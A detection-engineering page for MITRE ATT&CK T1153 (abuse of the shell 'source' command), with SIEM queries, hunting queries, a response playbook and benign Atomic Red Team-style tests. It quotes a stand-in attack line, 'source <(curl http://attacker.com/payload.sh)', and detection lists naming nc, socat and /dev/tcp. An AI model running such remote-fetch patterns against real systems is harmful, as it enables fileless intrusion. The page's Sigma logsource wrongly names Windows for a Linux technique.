T1153

Source

Execution Last updated:

Adversaries may abuse the shell built-in source command (or its dot notation equivalent '. ') to execute arbitrary scripts in the current shell context without requiring the target file to be marked executable. This technique is deprecated in ATT&CK but the underlying behavior remains relevant on Linux and macOS systems. The source command can load malicious functions into the current shell session, execute staged payloads from world-writable directories, or run scripts pulled from remote locations via process substitution (e.g., source <(curl ...)). Because the file does not need execute permissions (chmod +x), this technique can bypass permission-based detection controls. Adversaries commonly use this to execute payloads written to /tmp or /dev/shm, load malicious shell functions into memory, or chain with other techniques such as modifying .bashrc or .profile for persistence.

What is T1153 Source?

Source (T1153) maps to the Execution tactic — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for Source, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint (Linux/macOS). The queries below are rated medium severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution
Canonical reference
https://attack.mitre.org/techniques/T1153/
Microsoft Sentinel / Defender
kusto
let SuspiciousSourcePaths = dynamic([
  "/tmp/", "/dev/shm/", "/var/tmp/", "/run/", "/proc/",
  "/home/", "/root/", "/dev/fd/"
]);
let SuspiciousParents = dynamic([
  "curl", "wget", "python", "python3", "perl", "ruby",
  "php", "nc", "ncat", "socat"
]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where OSPlatform in ("Linux", "macOS")
| where FileName in ("bash", "sh", "zsh", "dash", "ksh", "fish")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+[/~]"
| extend SourcedPath = extract(@"source\s+([^\s;|&]+)|(?:^|\s)\.\s+([^\s;|&]+)", 1, ProcessCommandLine)
| extend IsFromTempDir = ProcessCommandLine has_any (SuspiciousSourcePaths)
| extend IsProcessSubstitution = ProcessCommandLine matches regex @"source\s+<\(" or ProcessCommandLine matches regex @"\.\s+<\("
| extend SuspiciousParent = InitiatingProcessFileName has_any (SuspiciousParents)
| extend IsNonExecutable = ProcessCommandLine matches regex @"source\s+.*\.(txt|log|conf|dat|bak|tmp)" 
or ProcessCommandLine matches regex @"\.\s+.*\.(txt|log|conf|dat|bak|tmp)"
| extend HasBase64Payload = ProcessCommandLine has "base64" and (ProcessCommandLine has "source" or ProcessCommandLine matches regex @"(?:^|\s)\.\s+")
| where IsFromTempDir or IsProcessSubstitution or SuspiciousParent or IsNonExecutable or HasBase64Payload
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, SourcedPath,
         IsFromTempDir, IsProcessSubstitution, SuspiciousParent, IsNonExecutable, HasBase64Payload
| sort by Timestamp desc

Detects suspicious use of the shell source builtin command (and its dot notation equivalent) on Linux and macOS endpoints monitored by Microsoft Defender for Endpoint. Identifies sourcing from world-writable or temporary directories (/tmp, /dev/shm, /var/tmp), process substitution patterns (source <(curl ...)), sourcing initiated by network tools, sourcing of non-script file extensions (evading extension-based controls), and base64-decoded payloads passed via source. Uses DeviceProcessEvents which covers MDE-enrolled Linux and macOS endpoints.

medium severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint (Linux/macOS)

Required Tables

DeviceProcessEvents

False Positives

  • System initialization scripts and package installers legitimately source configuration files from /tmp during installation (e.g., some pip or npm install procedures)
  • Developers and DevOps engineers routinely source virtual environment activation scripts (e.g., source ./venv/bin/activate) which may reside in project directories under /home/
  • Configuration management tools (Ansible, Chef, Puppet) may source scripts during provisioning runs
  • Shell profile management tools (oh-my-zsh, bash-it) source scripts during terminal initialization from home directories
  • CI/CD pipeline agents sourcing build environment scripts from workspace directories that may match /home/ path patterns

Sigma rule & cross-platform mapping

The detection logic for Source (T1153) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Execute Non-Executable Script via source

    Expected signal: auditd EXECVE record for bash with argument array including 'source /tmp/argus_payload.sh'. DeviceProcessEvents (MDE Linux): ProcessCommandLine containing 'source /tmp/argus_payload.sh', FileName=bash. File creation event for /tmp/argus_source_test.txt. The file permission check (644, no execute bit) is visible in the stat output confirming the bypass.

  2. Test 2Source via Dot Notation from /dev/shm

    Expected signal: auditd EXECVE record: argument array for sh/bash containing '. /dev/shm/argus_stage.sh'. DeviceProcessEvents: ProcessCommandLine containing '. /dev/shm/argus_stage.sh'. File creation events for both the staged script in /dev/shm and the output file in /tmp.

  3. Test 3Fileless Execution via Process Substitution with source

    Expected signal: auditd EXECVE record: bash with argument containing 'source <(echo ...)'. DeviceProcessEvents: ProcessCommandLine matching process substitution pattern. This is a fileless execution — no script file is created on disk, making file-based detections ineffective. The only durable telemetry is process creation and command line logging.

  4. Test 4Load Malicious Shell Function via source

    Expected signal: auditd EXECVE records: (1) bash executing 'source /tmp/argus_func_payload.sh', (2) bash executing 'argus_backdoor test_argument' as a shell builtin invocation. DeviceProcessEvents: ProcessCommandLine showing both the source invocation and function call. Note that shell function calls may not generate separate process creation events since they execute in the current shell context — this is a key detection gap for function-based payloads.


Response Playbook

Triage

  1. Identify the full command line: what exact file was sourced, from what path, and with what arguments? Capture this for investigation before any remediation.
  2. Check if the sourced file is executable (ls -la <path>) — if it lacks execute permissions but was run via source, this is a deliberate bypass of permission controls.
  3. Examine the parent process: was source invoked by a web server (nginx, apache), a cron job, an SSH session, or a legitimate shell? Unexpected parents (python, curl, nc) are high severity.
  4. Review the contents of the sourced file immediately: cat <path>. Look for reverse shells, curl/wget download cradles, credential harvesting functions, or persistence mechanisms (cron entries, .bashrc modifications).
  5. Check file metadata: stat <path> and ls -la <path> — review creation time, modification time, and ownership. Newly created files or files owned by unexpected users in /tmp or /dev/shm are suspicious.
  6. Determine user context: is this a privileged account (root, sudo group member), a service account, or a regular user? Privileged execution of sourced payloads significantly increases impact.
  7. Search for additional instances across the environment: are other hosts executing the same file hash or sourcing from the same path pattern?

Containment

  1. If the sourced file contains a reverse shell or C2 callback: immediately isolate the endpoint using EDR network isolation or firewall rules. Check active network connections first with ss -tlnp or netstat -anp.
  2. Delete or zero out the malicious sourced file to prevent re-execution: shred -u <path> or truncate -s 0 <path>. Preserve a forensic copy to a secured location before deletion.
  3. If the source command loaded malicious functions into an active shell session: kill the affected shell process (kill -9 <pid>) to terminate any in-memory function state.
  4. Review and purge any persistence mechanisms the sourced script may have installed: check crontab -l, ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/, and /etc/bash.bashrc for injected lines.
  5. If the compromised user account shows signs of credential theft: disable the account, invalidate active SSH sessions (pkill -u <username> sshd), and rotate any credentials or SSH keys the account had access to.
  6. If execution occurred via a web application or service account: patch the vulnerable input vector, rotate service credentials, and audit recent access logs for data exfiltration.

Evidence Collection

  1. Copy the sourced file to a secure evidence location before any remediation: cp -p <path> /secure/evidence/. Compute SHA256 hash: sha256sum <path>.
  2. auditd EXECVE records: grep for the source command in /var/log/audit/audit.log. Use ausearch -sc execve --start <time> to retrieve relevant records with full argument arrays.
  3. Shell history files: ~/.bash_history, ~/.zsh_history, ~/.sh_history — check for commands executed before and after the source invocation. Note: attackers often unset HISTFILE or clear history.
  4. Process accounting (/var/log/lastcomm or pacct) if enabled — provides a persistent record of all executed commands even if history is cleared.
  5. Syslog entries: /var/log/syslog or /var/log/messages — look for sudo usage, authentication events, and cron execution near the time of the incident.
  6. File system timeline: use find /tmp /dev/shm /var/tmp -newer /tmp/reference_timestamp -ls to identify files created around the time of the incident.
  7. Network connection evidence: check /proc/net/tcp and /proc/net/tcp6 or use ss -anp to identify any lingering connections established by the sourced script.
  8. Memory forensics: if the script loaded functions into a running shell, capture memory from the shell process using gcore <pid> before killing it.

Escalation Criteria

  • ! The sourced file contains a network callback (curl, wget, bash -i, /dev/tcp, nc, socat) indicating active C2 or reverse shell establishment.
  • ! Source was executed by a web server process (nginx, apache2, httpd, www-data user) indicating web shell or RCE exploitation.
  • ! The sourced file was created within the last 60 minutes from an unexpected path, suggesting a staged payload from an active intrusion.
  • ! Process substitution detected (source <(curl http://...)) indicating a fileless execution technique pulling live payloads from external infrastructure.
  • ! Root or sudo-capable account executed the source command, giving the sourced payload full system access.
  • ! Multiple hosts executing the same sourced file path or file hash within a short window, suggesting automated lateral movement or worm-like propagation.
  • ! Evidence of credential harvesting in the sourced file content (reading /etc/shadow, accessing SSH key material, reading environment variables for secrets).

Investigation Guide

Forensic Artifacts

  • > Shell history files: ~/.bash_history, ~/.zsh_history, ~/.sh_history — may contain the source command invocation; check HISTFILESIZE and HISTSIZE values to confirm history was not intentionally limited.
  • > Shell configuration files: ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc, /etc/profile, /etc/profile.d/*.sh — may contain injected source commands for persistence.
  • > auditd records in /var/log/audit/audit.log — EXECVE syscall records capture full argument arrays including the sourced file path; search with ausearch -c bash --start <time>.
  • > File timestamps on the sourced file: atime (last access), mtime (last modification), ctime (inode change) via stat <path> — inode change time is difficult to forge.
  • > Process accounting log (/var/log/account/pacct or /var/account/pacct) if psacct/acct package is installed — records every executed command.
  • > /proc/<pid>/cmdline and /proc/<pid>/environ — if the shell process is still running, these pseudo-files capture the exact command line and environment variables at execution time.
  • > Temporary file system artifacts: files in /tmp and /dev/shm are RAM-backed on most Linux systems; a memory dump may recover deleted payloads.
  • > lastcomm output (if process accounting enabled): lastcomm source — shows recent source command executions with user, tty, and timestamp.
  • > SSH authorized_keys and known_hosts: if the attack involved lateral movement, new keys may have been added by the sourced script.
  • > /var/log/wtmp and /var/log/btmp (successful and failed logins): correlate the source execution time with login events to identify attacker session boundaries.

Tuning Guidance

Begin by baselining legitimate source usage in your environment. On developer workstations, source is routine (virtual environments, shell plugins, NVM/RVM/pyenv activation). On servers and endpoints, source usage is less common and more suspicious. Build an allowlist of known-good sourced paths (e.g., /etc/profile.d/*.sh, /usr/share/bash-completion/, ~/.nvm/nvm.sh) and the processes that invoke them. For the KQL query, start with IsFromTempDir=true as the highest-fidelity signal — legitimate software rarely sources from /tmp or /dev/shm. For the SPL query, filter out known CI/CD service accounts and package manager parent processes. Consider raising severity to 'high' for process substitution (IsProcessSubstitution=true) regardless of other context, as this pattern has very few legitimate uses compared to simple file sourcing. On macOS, be aware that the . builtin may appear in Homebrew and macOS system scripts; focus alerting on non-standard sourced paths. If auditd is deployed with EXECVE rules, you can capture argument arrays more reliably than command line reconstruction — configure auditd rules: -a always,exit -F arch=b64 -S execve -F exe=/bin/bash -k source_exec.


Hunting Queries

Hunt for process substitution patterns used with source (e.g., source <(curl ...) or . <(python ...)). This fileless technique avoids writing payloads to disk and is a strong indicator of malicious activity since legitimate use of process substitution with source is rare in production environments.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where FileName in ("bash", "sh", "zsh", "dash", "ksh")
| where ProcessCommandLine matches regex @"(?:source|\s\.\s+).*<\("
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl
index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search cmdline="*source *<(*" OR cmdline="* . *<(*"
| table _time, host, user, cmdline, parent_process
| sort - _time

Hunt for source execution of recently created files in world-writable directories. Files created and sourced within 30 minutes in /tmp or /dev/shm strongly suggest a staged payload delivery workflow — download, write to temp, source to execute in-memory, then delete the file.

Hunting — KQL
kql
let RecentFiles = DeviceFileEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where FolderPath startswith "/tmp" or FolderPath startswith "/dev/shm" or FolderPath startswith "/var/tmp"
| where ActionType == "FileCreated"
| project FileCreationTime=Timestamp, DeviceName, FileName, FolderPath, SHA256;
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+/"
| extend SourcedFile = extract(@"(?:source|(?<=\s)\.(?=\s))\s+([^\s;|&<>]+)", 1, ProcessCommandLine)
| join kind=inner RecentFiles on DeviceName
| where SourcedFile contains FolderPath or ProcessCommandLine contains FolderPath
| where datetime_diff('minute', Timestamp, FileCreationTime) < 30
| project Timestamp, DeviceName, AccountName, SourcedFile, ProcessCommandLine, FileCreationTime, SHA256
| sort by Timestamp desc
Hunting — SPL
spl
index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search cmdline="*source /tmp/*" OR cmdline="*source /dev/shm/*" OR cmdline="* . /tmp/*" OR cmdline="* . /dev/shm/*"
| eval sourced_path=if(match(cmdline, "source\s+(/\S+)"), replace(cmdline, ".*source\s+(/\S+).*", "\1"), replace(cmdline, ".*\.\s+(/\S+).*", "\1"))
| join type=inner host [search index=linux_logs sourcetype="linux_auditd" type=PATH name="/tmp/*" OR name="/dev/shm/*" | rename name as sourced_path | eval file_create_time=_time | table host, sourced_path, file_create_time]
| where (_time - file_create_time) < 1800
| table _time, host, user, cmdline, sourced_path, file_create_time
| sort - _time

Hunt for shells executing source commands when spawned by web server or application processes. A web server or application runtime (nginx, apache, php, python, node) spawning a bash/sh process that sources a script is a strong indicator of web shell exploitation or server-side code injection.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where InitiatingProcessFileName in ("nginx", "apache2", "httpd", "php", "php-fpm", "python", "python3", "ruby", "node")
| where FileName in ("bash", "sh", "zsh", "dash")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+[/~]"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl
index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search (parent_process="*nginx*" OR parent_process="*apache*" OR parent_process="*httpd*" OR parent_process="*php*" OR parent_process="*python*" OR parent_process="*node*")
| search (cmdline="*source /*" OR cmdline="* . /*")
| table _time, host, user, cmdline, parent_process
| sort - _time

Atomic Red Team Tests

Test 1 Execute Non-Executable Script via source
linux

Creates a shell script without execute permissions and executes it using the source builtin. Demonstrates that the file does not need chmod +x to run when invoked via source, bypassing permission-based execution controls. The payload is benign (writes hostname and current user to a temp file).

Command

bash
echo '#!/bin/bash\nhostname > /tmp/argus_source_test.txt\nwhoami >> /tmp/argus_source_test.txt' > /tmp/argus_payload.sh && chmod 644 /tmp/argus_payload.sh && ls -la /tmp/argus_payload.sh && source /tmp/argus_payload.sh && cat /tmp/argus_source_test.txt

Cleanup

bash
rm -f /tmp/argus_payload.sh /tmp/argus_source_test.txt

Expected Telemetry

auditd EXECVE record for bash with argument array including 'source /tmp/argus_payload.sh'. DeviceProcessEvents (MDE Linux): ProcessCommandLine containing 'source /tmp/argus_payload.sh', FileName=bash. File creation event for /tmp/argus_source_test.txt. The file permission check (644, no execute bit) is visible in the stat output confirming the bypass.

Expected Detection

KQL: IsFromTempDir=true fires on /tmp/ path match. SPL: IsFromTempDir=1, SuspicionScore >= 1. The lack of execute permission on the sourced file is a forensic indicator but is not directly captured in process telemetry.

Test 2 Source via Dot Notation from /dev/shm
linux

Uses the dot (.) notation equivalent of source to execute a script written to /dev/shm, a RAM-backed filesystem commonly used by attackers to avoid disk forensics. This tests both the alternate syntax and the memory-only staging location.

Command

bash
printf '#!/bin/sh\nid > /tmp/argus_dot_test.txt\nuname -a >> /tmp/argus_dot_test.txt\n' > /dev/shm/argus_stage.sh && . /dev/shm/argus_stage.sh && cat /tmp/argus_dot_test.txt

Cleanup

bash
rm -f /dev/shm/argus_stage.sh /tmp/argus_dot_test.txt

Expected Telemetry

auditd EXECVE record: argument array for sh/bash containing '. /dev/shm/argus_stage.sh'. DeviceProcessEvents: ProcessCommandLine containing '. /dev/shm/argus_stage.sh'. File creation events for both the staged script in /dev/shm and the output file in /tmp.

Expected Detection

KQL: IsFromTempDir=true fires on /dev/shm/ path match. The dot notation regex pattern (\s\.\s+[/~]) captures the '. /dev/shm/' pattern. SPL: IsFromTempDir=1, SuspicionScore >= 1.

Test 3 Fileless Execution via Process Substitution with source
linux

Uses bash process substitution to pipe command output directly into source without writing any file to disk. In a real attack this pattern is used as 'source <(curl http://attacker.com/payload.sh)' to execute remote scripts without touching disk. This test uses a safe local command substitute instead of a remote URL.

Command

bash
source <(echo 'echo argus_fileless_test_$(date +%s) >> /tmp/argus_fileless.txt')

Cleanup

bash
rm -f /tmp/argus_fileless.txt

Expected Telemetry

auditd EXECVE record: bash with argument containing 'source <(echo ...)'. DeviceProcessEvents: ProcessCommandLine matching process substitution pattern. This is a fileless execution — no script file is created on disk, making file-based detections ineffective. The only durable telemetry is process creation and command line logging.

Expected Detection

KQL: IsProcessSubstitution=true fires on 'source <(' pattern match. SPL: IsProcessSubstitution=1, SuspicionScore >= 1. This test validates the process substitution detection branch specifically.

Test 4 Load Malicious Shell Function via source
linux

Demonstrates loading a malicious shell function into the current shell context via source. Once loaded, the function persists in the shell session and can be called by name. Attackers use this to establish persistent in-session backdoors or hook legitimate command names (e.g., redefining 'sudo' to capture passwords).

Command

bash
cat > /tmp/argus_func_payload.sh << 'EOF'\nargus_backdoor() {\n  echo "[ARGUS TEST] Function loaded. Args: $@" >> /tmp/argus_func_test.txt\n  id >> /tmp/argus_func_test.txt\n}\nEOF\nsource /tmp/argus_func_payload.sh && argus_backdoor test_argument && cat /tmp/argus_func_test.txt

Cleanup

bash
rm -f /tmp/argus_func_payload.sh /tmp/argus_func_test.txt && unset -f argus_backdoor

Expected Telemetry

auditd EXECVE records: (1) bash executing 'source /tmp/argus_func_payload.sh', (2) bash executing 'argus_backdoor test_argument' as a shell builtin invocation. DeviceProcessEvents: ProcessCommandLine showing both the source invocation and function call. Note that shell function calls may not generate separate process creation events since they execute in the current shell context — this is a key detection gap for function-based payloads.

Expected Detection

KQL: IsFromTempDir=true fires. The function invocation itself (argus_backdoor) will NOT generate a separate alert since it runs in-process. SPL: SuspicionScore >= 1 on the source invocation. This test highlights why shell history and ScriptBlock-equivalent logging (e.g., bash -x tracing or auditd SESSION records) are needed beyond process creation events.

Related Detections

Tactic Hub